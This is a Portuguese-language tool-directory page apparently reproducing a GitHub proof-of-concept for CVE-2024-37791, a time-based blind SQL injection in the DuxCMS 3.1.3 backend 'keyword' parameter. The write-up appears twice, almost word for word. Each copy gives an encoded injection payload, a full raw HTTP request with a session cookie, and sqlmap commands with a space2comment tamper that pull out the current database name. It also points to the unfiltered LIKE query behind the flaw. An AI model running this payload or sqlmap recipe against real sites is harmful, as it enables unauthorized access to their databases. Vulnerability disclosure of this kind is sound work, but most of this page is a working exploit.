Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37791 — Exploit de prova de conceito para uma vulnerabilidade de injeção SQL cega baseada em tempo no DuxCMS3.1.3, visando o parâmetro 'keyword' com requisições autenticadas e integração com sqlmap. | Kitploit
Ferramentas/GitHubGitHub/czheisenberg/cve-2024-37791
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubczheisenberg/cve-2024-37791

CVE-2024-37791

Exploit de prova de conceito para uma vulnerabilidade de injeção SQL cega baseada em tempo no DuxCMS3.1.3, visando o parâmetro 'keyword' com requisições autenticadas e integração com sqlmap.

Ver Repositório
11há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-37791

CVE-2024-37791

Endereço do projeto: ****

Trabalho preparatório:

Faça login no backend - obtenha o cookie

URL da vulnerabilidade:

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Parâmetro da vulnerabilidade: keyword

payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Se a injeção for bem-sucedida, o atraso será superior a um segundo; caso contrário, não haverá atraso.

Verificação com sqlmap:

poc

É necessário um cookie.

GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

O nome do banco de dados atualmente em uso foi obtido com sucesso. Esta vulnerabilidade existe.

Código da vulnerabilidade:

Ao pesquisar a partir do parâmetro de injeção: keyword, é possível localizar o local da chamada.

app/system/admin/SystemExtendAdmin.php

Linha: 42.

Usa like para correspondência difusa e não filtra $value; portanto, ao ser incluída na consulta, a vulnerabilidade aparece.

Ao inserir: and(select*from(select sleep(3))a//union//select 1)=

Como mostrado na figura acima: o parâmetro $value é obtido da linha 29 $pageParams = request(); da requisição, e então a linha 32 decodifica $pageParams[$key] com urldecode() para obter nossa instrução SQL maliciosa. Não há medidas defensivas.

Portanto, o payload é concatenado diretamente.

Após a execução, a instrução SQL completa é:

(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')


Injeção SQL no backend do DuxCMS3.1.3 (injeção cega baseada em tempo)

Trabalho preparatório:

Faça login no backend - obtenha o cookie.

URL da vulnerabilidade:

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Parâmetro da vulnerabilidade: keyword

payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Se a injeção for bem-sucedida, o atraso será superior a um segundo; caso contrário, não haverá atraso.

Verificação com sqlmap:

Poc.

É necessário um cookie.

GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

O nome do banco de dados atualmente em uso foi obtido com sucesso.

Esta vulnerabilidade existe.

Código da vulnerabilidade:

Ao pesquisar a partir do parâmetro de injeção: keyword, é possível localizar o local da chamada.

App/system/admin/SystemExtendAdmin.php.

Linha 42.

Há uma vulnerabilidade na consulta porque ela usa like para correspondência difusa e não filtra $value.

Ao inserir: and (select*from (select sleep (3)) a//union//select 1) =

Como mostrado na figura acima: o parâmetro $value é obtido da linha 29 $pageParams = request (); da requisição, e então a linha 32 decodifica $pageParams [$key] com urldecode () para obter nossa instrução SQL maliciosa.

Não há medidas defensivas.

Portanto, o payload é concatenado diretamente.

Após a execução, a instrução SQL completa é:

(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')

Baixar ferramenta